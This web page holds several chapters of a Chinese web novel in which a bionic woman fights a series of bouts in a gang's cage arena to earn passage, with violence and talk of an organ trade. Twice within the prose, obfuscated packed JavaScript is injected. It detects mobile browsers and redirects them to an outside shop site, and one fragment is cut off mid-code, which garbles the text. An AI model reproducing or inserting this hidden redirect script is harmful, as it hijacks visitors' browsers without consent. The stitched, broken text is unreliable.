“学校里也会教,”沈司奥说,“这个播放器的芯片是现成的,里头存储有基础教育前五年的资料,是我爷爷想办法从学校里录来的。他之前有个客户,孩子是III型辐射病患者,主要症状是皮肤见光就溃烂,也没成年,不能登录第二人生,就委托他搞了这么个东西。结果,东西刚做好,孩子死了。” “病死的?”III型辐射病不是病程相对挺长? 沈司奥摇头,露出回忆的神情:“客户贪便宜买到了没经过辐射净化的东西,连四级品都算不上,吃了一段时间,孩子的III型辐射病急速进展为II型,不治身亡。” 说到这个,时却想起在流萤房间的所见,来了兴趣。“所以,品级数字越小的食物,辐射净化得越完全?” 沈司奥肯定了这个说法,解释说普通人日常大部分食物以三级品为主,四级品为辅即可。 如果是收入比较低的穷苦人家,或家中有人患III型辐射病,治疗费较昂贵,情况才会反过来。 时却去冰箱里瞧,里头的食物以三级品为主,四级品为辅,还有少量二级品。 “III型辐射病的治疗费很贵?” “看情况,”沈司奥道,“有的很贵,有的还好。” 他起身做了几个简单的伸展动作,因在地上坐久,关节处嘎嘎直响。 “晚上想吃什么?” 作为一个吃饭纯属浪费粮食,又因为私心实在想来几口的人,时却很有自知之明地回答说都行。 趁沈司奥做饭,她上半身趴在饭桌上,手曲着枕在头下,闭眼听他鼓捣锅碗瓢盆磕碰的声响。 这具身体没有睡眠的需求,也不会觉得疲惫,可出于对记忆里“清醒数小时后会累,需要睡觉”这样的认知,在条件允许的情况下,她不排斥进行休息,甚至喜欢这种在黑暗中什么也不想,什么也不做的感觉。 吃完饭,沈司奥拆了时却买来的东西,挑出其中一管类似膏体的玩意,挤在工作台一个像微型3D打印机器的入口,不多时便打出两块薄如蝉翼却不透光的假皮。 拿出瓶无色无味的胶水,沈司奥将时却的一边太阳穴细细刷了三四遍,把一块假皮贴上去,遮住代表她仿生人代数的“VII”字样,用类似荧光灯一样的发光器照了几秒钟以固化,再如法炮制弄好时却的另一边太阳穴。 “这玩意能管多久?” “考虑到你的仿真汗水……两三个月吧。” 时却觉得这个持久时间还算宽裕。这样,她和沈司奥散伙后,还能有些时间去考虑后续该怎么处理遮盖代数印记。 照着镜子挤眉弄眼了一会,她发现粘了假皮处能随五官而动,不管是看上去还是上手摸都毫无破绽,不由对沈师傅的手艺大为赞赏。 面不改色心不跳地受了五星好评,沈师傅专心致志地坐回地板上组装仿生狗。 拼出个狗头后,墙上的时针指向晚九点。他去洗了个澡,擦着湿漉漉的头发出来,问坐在沙发上的时却,是否也需要洗个澡。 时却将注意力从脑内的入伍新兵上移开,开玩笑问他自己会不会洗着洗着把自己电短路了,换来一个白眼。 洗澡当然就要脱衣服了,不过衣服脱到一半,时却想到个严峻的问题。 ……没有换洗衣服啊! 后勤的事情当然要找后勤。她一嗓子喊来沈司奥,问他有没有提前准备自己能穿的衣服。 一定有的吧,自从认识以来,沈弟弟就这么靠谱! 浴室门外,年轻的机械师却回以不详的沉默,显然也忘了这档子事。 时却:??? 几秒钟后,他底气不足地说:“呃,穿我的?我有比较宽松的衣服。” 隔着一扇门,时却摸摸身上梆硬的腱子肉,无语道:“沈弟弟,穿你的,明天打架的时候,它会崩裂吧?” 她可没兴趣在蝎子的地盘上当着一群人的面表演爆衣,想想就觉得好羞耻。 沉默,沉默在空气中有毒地膨胀。时却面无表情地重新穿好脏衣服,刷地一下拉开浴室门。 可靠的沈司奥小弟弟眼神乱飞,脸颊肉眼可见地迅速变红。 “……要不,你再出趟门买点衣服?” 16. 绞肉场 这个点还开的店铺十有八九在黑街,时却懒得再跑一趟,挥挥手,还是让沈司奥去翻他的衣柜。 好在沈司奥和她身形差不少,身高相差却不太大,一番挑选和试穿后,竟真的找出了身勉强合适的。 为作弥补,沈司奥再三保证处理完蝎子的面试事宜后,会带时却再买几身衣服。薅到羊毛的时却面上勉为其难地答应,心里给自己比了个V,跑到沙发上充电。 一天下来,她的电量消耗为14%,剩余86%。 第二天大清早,沈司奥带时却来到一栋上头挂有黑色蝎子的大厦前。这大厦看上去有些年头了,不过明显养护得当,并不显得破旧。 下了车,二人周围来往的都是健壮的成年人,不少家伙穿着带有显眼黑色蝎子图案的服饰,这些服饰或是帽子、围巾等配饰,或是上衣、裤子、靴子等。 结合蜜桃、解压好去处和蝎子的地盘风格,时却总结道:“本地帮派都挺……现代化,净设在高楼大厦里。” 和正经开公司似的。 沈司奥低头正用终端和什么人发信息,闻言抬眼:“帮派也需要固定活动场所,大厦自然比平房划算。” 时却想想也是,又小声问:“不过就这一栋吗?好像不比蜜桃气派。” 打开地图导航,定位当前位置,地图管这栋大楼叫“绞肉场”。 “蜜桃是集中营业,这里只是蝎子地盘里的其中一块,”沈司奥说,“我们要乘专门的电梯去负二楼,那儿平常是办无规则格斗的,他们会开盘引人下注。” 时却原本脑补蝎子的业务更类似于澳x赌场那种,听他这么一说,明白自己狭隘了。 赌可以有很多种赌法。赌命也是一种赌。 他们走进绞肉场。 绞肉场的一楼装饰得像酒店大堂。当然,与酒店大堂的区别在于,在这里的工作人员身后,挂的不是房间价目表和代表各时区当前时间的钟表,而是一些格斗选手的信息、战绩,以及实时循环播放的精彩比赛集锦。 去往负二楼的电梯是两点一线运行的那种设备,上面贴了“往无规则格斗区域专用”的标识,好半天不见下来一辆。 等电梯的人越聚越多。 “咋回事啊!”有人焦虑地捅咕同伴,“该不会招满了吧,我听说今天是最后一波啊,咱不会赶不上了吧。” 同伴:“晚上才出结果,现在哪有什么招满之说。不过恐怕就因为是最后一波,所以下面的人不肯轻易放弃吧,打得久了,地方又有限,可不就不给新的人进了吗。” 大家伙挨挨挤挤,一听这话更急吼吼了,人人都往靠近电梯进口的位置挤,赶着去投胎似的。不时有人急眼骂娘,倒是没人动粗。 时却估摸着,这块应该有什么不能动粗的规矩,不然早该打起来了。 望眼欲穿,电梯终于下来了一辆。 她拽过沈司奥,拿出上辈子通勤高峰挤地铁的技巧和劲头,使出吃奶的力气往里钻。 最后,他们挤倒挤是进去了,只一回顾四周,肌肉大汉的比例畸高,比得时却平平无奇半点不打眼,同时沈司奥混在里边,完全被衬托成一条细长的麻杆。 为避免沈麻杆被大块头们挤成沈饼子,时却眼疾手快,瞅了空挡,一把推他到角落里,人挡过去,龇牙咧嘴地替他承受大部分壮汉们的贴身挤压。 饶是如此,负二层一到,出了电梯,沈司奥的眼镜还是被挤偏,呈歪歪斜斜挂在脸上的摸样。时却赶忙拉他离开电梯口附近,生怕他被下一波出电梯的人一把撞飞。 绞肉场的负二层是个广阔的空间,高度在三米之间,具体大小未知。 这儿的人出乎时却意料的多,堪比春运高峰的候车厅。人与人密密麻麻地遮盖了她的视线,给辨识与观察带来不小的困难。 她努力张望。 在这个空间里,自天花板上吊下数块间隔设置的红色标识牌,每块标识牌上写有数字编号;距离电梯最近的为成列的#1~#5,再往后,每五个编号组成一列,依次排布。 每块标识牌下对应设有一个巨大的八角笼,八角笼外置有桌椅。 若桌椅后坐着穿带蝎子图案衣服的工作人员,且八角笼中空无一人,则该八角笼附近的人均会围在桌椅旁,等待工作人员开口说话。 反之,若桌椅后空无一人,则工作人员和该八角笼附近的人定然都围在八角笼外,八角笼内则有2~5名不等的参与者。 这些参与者进入八角笼后,或赤均手空拳,或均手持短兵,立即开始相互厮杀。 大多八角笼内的参与者都是纯外来的,但有的八角笼内的参与者中有人穿着带蝎子图案的衣服。 警惕的视线、汗水、铁锈味、激动的叫好语、粗鄙的喝彩与喝倒彩、拳头击打肉的响动、利刃破空声……象征血腥与暴力的无形之物将这个空间塞得满满当当,再容不下其他。 这种氛围是时却所陌生的。它不同于在蜜桃那夜的偷袭,不同于黑街上与那两名大汉的打斗,不同于昨日的小巷里,不同于迄今为止,她参与过的任何暴力活动。 蜜桃那夜,是有所求的狩猎。黑街上,是心照不宣的比武。小巷里,是仇怨在前且为绝后患的以牙还牙。 而绞肉场,这儿空气中主要弥散的,是一种无来由却十分急切的欲望;其内容是——期望破坏同类,或看到同类被破坏。 时却平静地又观察了会周遭,得出结论:她对这种欲望并不十分感兴趣。 “打斗结果是蝎子判断一个人是否够格随行的参考之一,”沈司奥觑她神色,“掮客让我们去36#。” “走。”时却道。 他们路过一个八角笼,其内刚结束战斗,赢家是个手持匕首的血葫芦女人,靴子的上部印有一只抓牙舞爪的蝎子。 那血葫芦自己身上也数处中刀,一瘸一拐地往八角笼外走。围在外侧的人自发给她让道,其中一个穿带蝎子图案上衣的男人走出人群,在八角笼前的桌椅处坐下。 “这两个治一下,让去负一楼开几枪试试。我没力气了,去躺会治疗舱,你让这些人自己玩吧。”女人对男人说。 她熟练地从桌子的抽屉里摸出支速合剂,往八角笼里一丢,再扯出条毛巾,胡乱抹去脸上血水,错眼看到边上的时却,一愣,三步并作两步,龇牙咧嘴地扑来。 “喂喂,你站住!” 时却没察觉出女人有恶意,捞住对方,待人站稳后撒开手,后退半步,摸摸鼻子:“……嗨?” 其实刚照面她就认出来了,这女人是她的“熟人”,昨晚的蝎子四人组之一,被她偷袭后成功电晕的那个。 “嗨你奶奶个腿儿,等着,别走啊!” 女人说完,扭头冲坐在椅子上的男人嚷,叫他快点把治疗仪出来。 时却对这个新听到的名词好奇,脚瞬间被地面粘住,走不动道,沈司奥见她一幅等着大饱眼福的样子,便也站在原地等。 治疗仪包括一个类似扫描枪的玩意,还有一个与扫描枪连线的扁圆型体;那扁圆型体差不多有成年人脑袋大小,酷似会让狗狗痴狂追逐的飞盘。 沈司奥小课堂及时上线。 他示意时却靠近点,时却略一低头,耳朵凑到他嘴边。 周围嘈杂,沈司奥以手作围,稍微提高声音:“那扫码枪一样的东西,叫输出器,飞盘一样的,是治疗仪的本体。治疗仪可以直连电源,也可以靠内置电池供能。” “它的优点为便携、适用于急救;缺点为,唔,你可以简单理解成它走的是透支身体活力的路子,不适合作为常规治疗手段。” 旁边听到他们谈话的人都露出有些古怪的表情,看时却的神情带上一丝“这哪里来的野人这也不知道”的意味。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13024728|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 被使唤的男人在治疗仪的本体上按了一下,本体亮起,输出器对外发出幽幽蓝光。 他手持输出器,分别在女人身上几处最严重的伤上悬停数秒,无论是淤青还是开放性伤口,在这幽幽蓝光下均迅速愈合。 时却见状,继续和沈司奥咬耳朵:“我们有这玩意吗?” “太贵了,买不起。”沈司奥压低声音幽幽道,“只有速合剂。” 不多时,男人收回治疗仪。“姐,好了,那我先忙。” 女人随意朝他挥挥手。 男人叫人帮忙把八角笼里的一男一女拖出来,用治疗仪治上,从自己的终端上调出个投影看了会,到八角笼旁报出四个号。 四人进入八角笼中,在男人的注视下开始新一轮打斗。 “哎,你,你叫什么。”女人问时却。她活动四肢,动作之间还有些迟滞,不过明显比方才好上许多。 时却报上名字。女人挑着眉说叫她蜥蜴就好。蜥蜴仰起下巴道:“走,再堂堂正正打一场!” 时却清楚,对方估计还惦记着被自己偷袭电晕的事情。 不过能打不代表爱打,她看出蜥蜴不是胡搅蛮缠的类型,只是还没咽下这口气,便直截了当地摇头拒绝,说他们还有事。 “我们约好了,要去36#见壁虎。”沈司奥适时道。 壁虎二字似乎有什么魔咒,被拒绝后颇为不甘,几乎可以说立即吹胡子瞪眼起来的蜥蜴当即安静下来,上下打量沈司奥一番后,对时却道:“你要带他?可我看他也不像你姘头?” ……怎么得出姘头结论来的?时却迷茫地从喉咙间挤出一声啊。 “啊什么啊,不是被忽悠了吧?”蜥蜴狐疑地嘀咕道,“算了,到时候壁虎应该会说的。” 时却反应过来:“我知道要交两人份的变异动物或植物。另外,我们是合作关系,他不是我姘头。” 找未成年的话也太作孽了。 虽然按这个世界的规矩,沈司奥不算未成年,但……在她的心里算。 蜥蜴的视线在他们二人间转了转,双手交叉抱臂。 “看上昨晚你留我一命的份上,给个忠告,交两个人的分量很辛苦,当天没交够分量,会累计的。如果到了十二区,你们还活着,又有欠债的话,可就要拿其他东西来抵了。” “明白,”时却态度很好地点头,“我知道的,谢谢关心。” 待蜥蜴因没约上架不爽地走远后,她问沈司奥,蜥蜴口中的“其他东西”指的是什么,得到的回答是—— 人体器官。 即便在这个废土世界的法律里,人体器官买卖也是不被允许的。但,基于II型辐射病患者的器官会发生极速衰退,人体器官的买卖一直是个巨大且繁荣的利益市场。 除辐射病患者的需求外,残疾者群体也是人体器官的重要买主。 而诸如时却已见过的治疗舱、治疗仪等的装置均只能治愈内外伤,这种“治愈”并不包括无中生有。也就是说,如果一个瞎眼的人躺入治疗舱,能得到的治疗对应只有其眼部的伤口愈合而已。 于是,残疾人重新拥有健全肢体的方式,要么是加装昂贵的义体,要么就是走或正规或不正规的途径,先获得与自己匹配的器官,再通过相对义体而言较便宜的手术装上对应器官。 时却疑惑道:“我以为仿生人都有了,义体会更便宜?” 沈司奥推推眼镜:“等你渐渐了解这个世界的历史后,就会明白的。” “先不提这个,”他继续道,“总之,和你记忆中的科技水平和常见器官移植需求大不同,得益于相关医疗手段的进步,如今什么器官都有市场,无论是五脏六腑,还是特定的肌肉群,只要配型成功,什么器官都能移植,移植成功率还算可以。” “所以,一个人能被论斤论两,从头被卖到脚底板。” 17. 逻辑 时却远远望到一个扎眼的人。 他坐在36#八角笼边的椅子上,被不少蝎子的人围着,看上去三十出头,是个身高近两米并剃板寸的猛男,穿灰扑扑的白背心和战术裤,浑身上下布满夸张隆起的肌肉。 一只硕大的黑色蝎子刺青卧于他露出在外的皮肤上,从右脸延伸至右肩。再走近点看,可见那蝎子刺青的尾部处在他的右脸颊,毒钩指向他嘴角,钳肢位于他的右肩锁骨处,并随着他的动作起伏。 36#八角笼边上摆了一排短兵,八角笼内的地面看上去被特意打扫过了,很干净,干净得就像是尚未被使用过,正等待什么事情发生。 时却直觉,要同这样的人打斗,当下的自己绝讨不到好处。 用武器,在不受见骨伤的情况下想赢很难。只肉搏,同样的部位挨上几拳,对方或许就会起疑。 “那个人,我没把握在隐藏身份的前提下和他打。”她低声对沈司奥说。 “他就是壁虎,”沈司奥说,“他是蝎子的二把手,你不会对上他。不过为给蜜桃面子,他也许会为难一下你。” 哦,之前那个和一把手内斗的……等等,蝎子不是才打劫过蜜桃? 时却脑袋上浮现大大的问号。 一眼看出她的不解,沈司奥耸耸肩道:“教训归教训,又不是打算结死仇。” 懂了。没有永远的敌人系列。 按下吐槽的欲望,时却装着冷脸,被带到壁虎前。 壁虎隔着桌子看看她,又看看沈司奥,双手合抱抵在嘴唇处,手臂支在桌面上,咧嘴露出两颗尖利犬牙。 “这就是要给你作保的人?” 沈司奥点头,作为中间人分别向两人介绍对方。 时却学他的样子,也冲蝎子点头示意。她点完,看围在壁虎边上的蝎子众人面色微变,才察觉沈司奥估计不是第一次见壁虎,但自己是,还长了张凶恶的脸。 呃,是不是该主动伸个手什么的,光点头有些嚣张。 见时却直挺挺地站着,除略一点头歪就没有其他丝毫表示。有蝎子的人脸拉下来,眼睛鼓瞪,忍不住上前要开口,被壁虎伸手拦下。 “哎,真和沈司奥说的差不多,”他笑着点点自己的太阳穴,“脑子有点问题。” ……怎么此设定在这种场合也要出现。 壁虎站起身,主动伸出左手。“你让我看到了两段不错的视频。” 时却伸出手去与他交握,二人很正常地完成了握手的礼仪。 两段,她想,那就是说在黑街和小巷里的战斗他都看过了。 黑街就不提了,大把人拍,小巷里那场的话,应该是巷子边上的楼里有人摄下的?无所谓了。 壁虎道:“按理来说,试你也没什么必要,结果毫无疑问。不过,沈司奥得罪了蜜桃里的大人物,也不太好轻易答应你带上他,容易影响两家的交情。” 尽管提前知道了相关讯息,见他说的如此流畅自然,时却还是忍不住腹诽:不要脸,你们蝎子才抢过人家好么,浩浩荡荡地上门打脸的那种。 壁虎冲旁边一名精壮男人给去个眼神。那人会意,脱下上衣,打开八角笼的门进入其中,充满战意地看向时却。 “蝎子答应沈司奥和你同行的条件是,”壁虎比了个五的手势,“打五场,四场肉搏一场用兵器,每场最长只能用时十分钟。你需要五场都赢,且出发后,你们二人每天每人上交标准任务量的一点五倍。” 沈司奥:“我们商量一下。”拉时却到一旁,和她咬耳朵。 时却的想法是,打几场都无所谓,如果壁虎抱的是车轮战的念头,那不好意思,只要有电,她能把在场人全都打瘫在地。 同理,她对什么一点五倍上交量也不敏感,除非沈司奥确认那的确是她无法达到的量。 “不至于,我会带好几个压缩电池为你供电。”沈司奥抿抿嘴。 “行了,我们不是早就谈好了吗?”时却眼疾手快,一把攥住他要往身后背的手,“况且又不是你要为难我。不过……我的确有点不爽,很想搞点事情。提前向你确认,壁虎这哥们儿,他输得起吗?” 年轻的机械师眼里流露出一丝笑意,“他很输得起。小心为重。” 时却进入八角笼内,扭头问壁虎:“赢的标准怎么算?” “认输或失去意识。如果你有兴致的话,也可以是生死不论。” “人死了,蝎子负责?” 壁虎露出带血腥气的笑容:“当然。” 战斗打响。 ……说实话,时却实战的次数并不多,刨去拿沈司奥当练手那回,满打满算就三次:逃出蜜桃时、黑街上、小巷里。 可这具身体着实恐怖,其耐力、爆发性和反应速度极佳,加上对入伍新兵中内容能极快融会贯通,每次战斗,均如鱼得水。 光看面前的精壮男人一眼,她就知道对方不是自己的对手。对方攻来时,浑身上下满是破绽。 八角笼外,喧杂声升腾而起,空气变得灼热。一股时却初入此地时就察觉到的渴望,如骇浪般,再次向她气势汹涌地打来。 它的所求包括——想要看牙齿因击打而横飞至半空,想要听哀嚎、哭叫、求饶,以及肉.体被重重击打的沉闷声响,想要陶醉嗅闻新鲜的血的气味。 很奇怪,刚才她对此是持平静态度的。可此刻身在笼中,身在局中,她的心绪却有些变了。 变得有些……躁。 时却心不在焉地闪开对手的一击,想起“年少时”玩火柴的情形。 她打开火柴盒,拈出几根细细的火柴棒,再搓掉多余的,只留一根捏在两指之间,用那火柴棒的粗头端在柴盒侧面的红棕色区域轻轻一划。 嚓,那粗头端就会被点燃,燃起摇曳的光亮,释放出微微呛人的气味。 此时此刻,道道从八角笼外射进来的目光,如那一声“嚓”。 时却从和沈司奥说的“有点不爽”,转为愈发不爽。 她双手背后,偏身闪开精壮男人的攻击,一次又一次,只避而不攻。 起先,八角笼外响起阵阵嘘声,嘲讽她。往后,见精壮男人涨红了脸却连她的半片衣角也摸不到,诡异的静寂如瘟疫般蔓延。 总的来说,精壮男人的攻势并不凌厉,意在击晕时却以结束战斗。距离十分钟还剩三十秒时,时却找了个机会绕到气喘吁吁的他身后,一个手刀结束战斗。 窃窃私语声如涨潮时的海浪,在八角笼外翻涌起来。 外头没有其他认识的人,时却很自然地去瞧沈司奥在干什么。 他不知从哪搞了两瓶汽水,一瓶斜放在有上衣的超大口袋里,一瓶开了,插上吸管,正咕叽咕叽喝着,整得她也有点馋。 又瞧向壁虎,对方面无表情地让第二个人上场。有人为第二个上场的人打气,不服地叫喊:“看她能跑多久!” 第二个上场的人比精壮男人更敏捷些,然而并没有什么卵用。时却遛得他满场跑,末了一个手刀击晕了事。 第三个家伙上场时,打气者换了个说法:“这娘们儿一会就得趴下!” 不知何时,36#八角笼外围上越来越多的人。不久前碰到的蜥蜴的身影也出现,她挤到壁虎边上,冲壁虎低声说了几句话。 壁虎的心情看起来平常,不好不坏,说话声音没有因迁就蜥蜴而降低。“好好站在这里看,”他说,“你不行,上去没几分钟就得被她气死。” 二人看起来极为亲密熟稔,蜥蜴捣他一拳,翻着白眼变观战人员。 战斗敲响。 时却如同条抹了油的鱼般,滑不丢手地躲了五分钟,便开始反击。这场的参与者下手比前两个重一些,她也投桃报李,卸下对方两只胳膊。 这位参与者认输下场后,冒着冷汗狠狠揣了打气者一脚。打气者翻了个底朝天,龇牙咧嘴地被周围人笑嘻嘻地扶起后,缩缩头,不敢再乱说话。 蜥蜴同壁虎聊了两句,音量在众人的哄笑声中显得并不起眼,只有在他们周围的人得以听清。 第四场上来个壮汉,明显比头三个都顶用些。 不过,比起在物理层面上想打赢,他更像是主修精神攻击的,专朝时却的胸部和裆部打,嘴里还不干不净地说荤话。 时却既无语又厌烦,三两下将人撂倒,一脚踩在他的下身要害处,用大力碾。 在壮汉的嗷嗷惨叫着认输的声音中,八角笼外的大部分男性一齐倒吸了口冷气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080271|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好!”蜥蜴高声大笑,“我早看他不顺——” 壁虎额角一跳,勾过蜥蜴的肩膀将人拉到身前,利索地捂住她的嘴,阻止她公然攻击自己人。 蜥蜴翻了个大大的白眼,张嘴就要咬他。 壁虎眼疾手快,利索地抽手,顺势改道,一巴掌往蜥蜴脑袋上糊。蜥蜴钳住他的手腕撇到边上去,识时务者为俊杰地认怂,做了个给自己嘴巴拉拉链的动作。 解决了这场小官司,壁虎看向周围:“最后一场用兵器的,有没有蝎子外的人想上?赢,直接免试;能重伤或杀了她的,免试后,每天要交的任务量再减80%。” 数人立即应声站出。 壁虎扫他们一眼,选择其中一个男人。那男人在所有短兵中选了把带血槽的刀,时却则站在原地没动。 壁虎:“想空手对白刃?” “我会有武器的。”时却道。 战斗开始,男人迅猛攻来,手中短刀划出猎猎破空声。 壁虎眼光毒辣,挑选的这男人比前面任何一个对战时却的人都要棘手,不是能任由时却再悠闲地玩躲猫猫的水平。 前面蝎子的几人许是被特地交代过了,均以不产生杀心为前提进攻,而这男人却不同,杀意十足,招招瞄准要害,要么打算捅心脏,要么打算割喉。 同时,他敏锐地察觉出了时却那句“会有武器”的言外之意,谨慎异常,只要势头稍有不对,便立即退步,拉开二人之间的距离。 一来二去,时却身上很快见了红。尽管都不算深,没流多少血,但凌乱且数量不少,看上去极为唬人,也十分刺激感官。 八角笼外不少观众被他带动,也跟着起哄,喊叫些污言秽语。一时间,下流粗话、口哨和叫好声混在一块,彼此再难区分。 男人见识过时却前几局的悠闲姿态,见她在自己的攻势下越显狼狈,呼吸不由逐渐粗重,相比于此前的谨慎,转为更偏重进攻的模式。 某个二人错身擦过的瞬间,男人没有再出于保守而后撤,反而大胆地选择反手一刺—— 时却等的就是这样的时机。 她拧腰急转,一手精确扣住男人持刀的手腕,将其往自己身前一拉,另一只手势如闪电般成爪扣住男人的脖颈,再发狠劲,当即将他狠狠掼倒在地。 男人被砸得眼冒金光,时却趁机夺下他的刀,又狠狠给了他一个右勾拳。 观众们见局势反转,变成时却手持利刃,随之转向喝彩的对象。 “好!” “捅死他!见血!见血!见血!” “牛X!杀、杀了他!” 时却环视一圈这些人,只看到成群的饥饿豺狼,只待一场血肉横飞的饕餮盛宴开席。 她吸气,呼气,只觉得那根在火柴头燃起的焰火,烧得愈发旺盛。 拖着神志不清的对手走向壁虎,她来到距离壁虎最近的,八角笼边的一根立柱前。壁虎旁边围着的人最多,她的举动,让自己和大部分观众之间的距离也缩短了。 视线在那些观众的脸庞上飞快掠过,她一一记下这些在“过去”从未见过的,急不可耐的,嗜血且贪婪的神情。 繁杂的人声如同被无形的大手压下般,倏忽变小许多。有人只接触到她的目光,便下意识想要后退。 真有趣,时却想。 在距离这些人远远的时候,他们兴奋、激昂、自信,似乎什么话都敢说出口。当下她凑近了,大部分人却立时收敛不少。 她握持刀柄,举起扔有些迷糊的男人的一只手,将刀刃狠狠刺入男人的掌心,使他被牢牢钉在所选的立柱上。 尖锐的痛楚将这个男人从眩晕中拖拽出来。他大喊大叫起来,意欲挣扎,被时却邦邦给了两拳,再次翻眼昏过去。 胜负已分,她扔下自己的手下败将,往八角笼的门口处走。 “干掉他,”一直安静旁观的壁虎突然大声说,“你是块璞玉,不该还没见过血。” 时却清楚他指的是什么,翻了个白眼,动作不停。 人群一阵骚动。壁虎皱眉,认真补充:“打开这扇门走出去,很多人都会知道你心慈手软。” “尽管试试,”时却言简意赅,“欢迎来赌。” 18. 好又来 如沈司奥所言,壁虎果然很输得起,面对时却近乎直白地糊到脸上的挑衅也八风不动。 他面色如常,亲自拔出八角笼的门闩。“佼佼者当然有资格任性。时却,欢迎你加入随行蝎子的队伍。” 时却擦肩而过时,他突然又说:“路上若有闲暇,来找我消磨时间,切磋或聊天都可以。” “还有我,”蜥蜴插话,“我也可以!” 在周围壁虎小弟们的磨牙声中,时却于继续说烂话和就这么打住之间纠结两秒钟,决定见好就收,耸耸肩,用一个平平无奇的回答共同敷衍两人:“如果有空的话。” 胜者的福利显而易见。 她往哪个方向走,哪个方向的人便自觉让道。毫不费力地来到沈司奥边上,机械师很有眼力见地奉上汽水和吸管,手里还捏着两张穿了挂脖绳的卡片。 时却拒绝吸管,接过汽水,顺势也拿了那两张卡片看。 卡片不大,方方正正的,中部印有紫蝎子的图案,底部是一串数字,以及某行某列的字样。 两人的卡分别写着:“12行1列、12行2列”。 沈司奥:“这是能随行蝎子的证明,底下的数字是我们的账户号。明天早上出发。” 时却没细看汽水的外包装,拿牙蹦一下咬开盖,甜蜜的气味涌出瓶身,直冲鼻腔。 这是瓶草莓味汽水。 她看沈司奥一眼,咕咚咕咚一口气喝掉小半瓶,任由甜腻的草莓味道在嘴里炸开,举了一下汽水瓶:“哪儿来的?” “之前联系过的掮客刚刚路过,随手给的,”沈司奥道,“抱歉,只有这个口味。” 晓得这话外之意,要么他也关注到了男孩死亡现场的那颗草莓硬糖,要么他也看过了她在小巷中的战斗过程。 更大的可能性是两者都有。 时却道:“我和他非亲非故,你还怕我会有什么心理阴影不成?” 虽然,换成是记忆里的人,八成的确会在很长的一段时间里,碰不得任何草莓味的东西。 他们往电梯口走。在36#闹出的动静不小,相较来时,更多的目光落在二人身上,准确地说是时却身上。 嘈杂之中,有两个字出现的频率相对较高—— “蝴蝶”。 出了绞肉场,时却很自然地想到某个机械师昨晚承诺过的新衣服,便理直气壮地要求老板购置员工服。 而且得是两套!这样加上从李哥那打劫来的那身,她就有三套了,换洗不愁! 沈司奥发动摩托,骑在前座上扭头问:“想去黑街里卖衣服的地方,还是去黑街外的服装卖场?” “黑街外还有服装卖场开着?”时却惊讶。 “最后一家,蝎子老大的一个情人开的,里面的商家也和蝎子的人多少沾亲带故。怎么样,想去哪?” 不管是黑街里卖衣服的地方,还是黑街外的卖场,昨天均未路过,时却对两者都挺好奇。 考虑到昨天在黑街打架又打劫,在解压好去处附近伤过人,今天又在蝎子的地盘上干了好几场,而明天就得出发…… 时却决定还是去黑街外,暂时远离灰色地带,净化一下身心。 作出决定后,她看沈司奥上了摩托,自己也跨上去,顺便百般无聊地检查了下身上受的刀伤。它们全都十分仿真地凝了血痂。 * 路上的行人较前一天来得更少,许多条街的街面上,杂物乱滚,塑料袋乱飞,随便在哪个街口架个摄像头,就能为诸如末日之类题材的电影取景。 时却想起准备离开绞肉场时,隐约听到的“蝴蝶”二字,有些在意,就此询问沈司奥,得到让人很难评价的答复: “你打完第三场的时候,壁虎和蜥蜴说,你躲闪起来像‘舞者跳排演过的曲目’,蜥蜴嫌他不讲人话,觉得你更像一只不会被扑中的蝴蝶。他们的对话被人听到后传开了。” “……咳咳咳!” 她张嘴吃风,被自己的口水呛得连咳几声,羞耻得直想抠脚。 “也行……吧,反正比泥鳅之类的好听。对了,蜥蜴和壁虎什么关系?” “青梅竹马,不过他们之间没有更深的男女关系,都各有情人。” 懂,纯发小呗。 时却又想到一件事,戳戳沈司奥。“没记错的话,蜜桃今天撤?” 一阵风起,两个矿泉水瓶从路边黑黢黢的小巷骨碌碌地滚到路中央。沈司奥反应极快,手下车头一偏,让摩托完美地躲过它们中间穿行而过。 同时不忘回答:“这个点,该出区了。” “有李哥的消息吗?” “买家不爽被放鸽子,匿名将事情捅了出来。蜜桃的老大剁了李哥的左手和左小腿,然后带他上路,不允许他使用任何治疗仪器和抗生素。” “李哥就剩下这几天了,”他就事论事道,“不是得死于伤口恶化,就是得死于受袭时被人推出去挡刀。对于我来说,这是好消息。” 时却歪出上身,去瞧沈司奥的侧脸。 年轻的机械师即没有显得很高兴,也没有透出遗憾意味。 这会,他和坐在安全屋的地板上拼装那只仿生狗时没什么差别,情绪处在一种平和的中性状态。 时却突然回想起一点这些天两人相处的细节。她总结了一下,发现什么样的画风都有。 有她自己打开身上接入口时,沈司奥吃惊的神情,蛮有趣的。 有他被发现小习惯——就是紧张时掐自己——时的窘迫神情;说实话,那简直是青涩中带了点少年独有的可爱,让他平平无奇的五官都加分不少。像个乖小孩。 有沈司奥娴熟做家务时的平静模样,看上去处于一种奇妙又微妙的放松状态。 还有初见那会,他掏出那针药剂说要给李哥用时……他那会具体是什么表情来着?时却回想了一下:好像是对她礼貌性地、礼仪性地笑了一下。 三分之一,能让人变成傻子,全都推完,必死无疑。 如果自己没出现,他打算在李哥身上用多少? 出于什么想法,他在和自己投票表决李哥的生死时,选择不杀? 时却就这么有些发散着让思绪乱跑,直至感觉摩托的速度逐渐降低。 接连两个拐弯后,一栋二层建筑出现在街道尽头,招牌是“好再来”,直白且朴实。 